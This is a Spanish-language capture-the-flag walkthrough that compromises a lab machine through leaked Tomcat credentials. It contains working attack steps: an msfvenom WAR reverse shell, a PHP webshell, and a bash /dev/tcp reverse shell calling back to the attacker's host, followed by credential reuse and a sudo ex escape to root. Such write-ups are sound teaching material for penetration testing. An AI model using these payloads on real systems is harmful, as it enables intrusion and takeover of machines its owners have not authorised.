Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.121❯ nmap -sCV -p 22,80,8080 -oN 02-targeted.txt 192.168.1.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 15:11 -04
Nmap scan report for 192.168.1.121
Host is up (0.00037s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 secondsEn el puerto 8080 corre Apache Tomcat, con un enlace al panel de administración en http://192.168.1.121:8080/manager/html. El panel pide autenticación; al cancelar el prompt, Tomcat muestra una página de error que filtra las credenciales por defecto de ejemplo:
...
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
...Con acceso al Manager, disponemos de un formulario para subir archivos WAR, que pueden alojar código malicioso. Generamos un WAR con una reverse shell usando msfvenom:
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.5 LPORT=1234 -f war > pwned.war
Payload size: 1099 bytes
Final size of war file: 1099 bytesLo subimos, nos ponemos a la escucha y solicitamos http://192.168.1.121:8080/pwned/ para disparar la shell:
❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.121:46742.
script /dev/null -c bash
Script iniciado, el fichero de anotación de salida es '/dev/null'.
tomcat@deploy:/var/lib/tomcat9$En los archivos de configuración de Tomcat encontramos las credenciales de un usuario del sistema (comentadas en tomcat-users.xml):
tomcat@deploy:/tmp$ cat /etc/tomcat9/tomcat-users.xml
...
<!-- <user username="sa" password="salala!!" roles="manager-gui"/> -->
...Reutilizamos esas credenciales para acceder por SSH como sa:
❯ ssh sa@192.168.1.121
sa@192.168.1.121's password: salala!!
Linux deploy 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
sa@deploy:~$Para movernos al usuario toor, listamos los procesos y observamos que Apache corre bajo ese usuario:
sa@deploy:/tmp$ ps -aux | grep toor
toor 506 0.5 1.0 194372 10168 ? S 21:00 0:24 /usr/sbin/apache2 -k startComo el DocumentRoot es escribible, colocamos una webshell PHP que se ejecutará con el usuario toor:
sa@deploy:/var/www/html$ cat shell.php
<?php system($_GET[cmd]); ?>Nos ponemos a la escucha y solicitamos http://192.168.1.121/shell.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.5/4321 0>%261" para recibir la shell como toor, junto con la primera flag:
❯ ncat -nlvp 4321
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.121:37748.
bash: cannot set terminal process group (430): Inappropriate ioctl for device
bash: no job control in this shell
toor@deploy:/var/www/html$Para la escalada final, revisamos los permisos sudo de toor:
toor@deploy:/home/toor$ sudo -l
Matching Defaults entries for toor on deploy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User toor may run the following commands on deploy:
(root) NOPASSWD: /usr/bin/exPodemos ejecutar el editor ex (modo línea de Vim) como root, desde el cual escapamos a un shell:
toor@deploy:/home/toor$ sudo -u root /usr/bin/ex
!/bin/bash
root@deploy:/home/toor#Obtenemos nuestra flag y fin.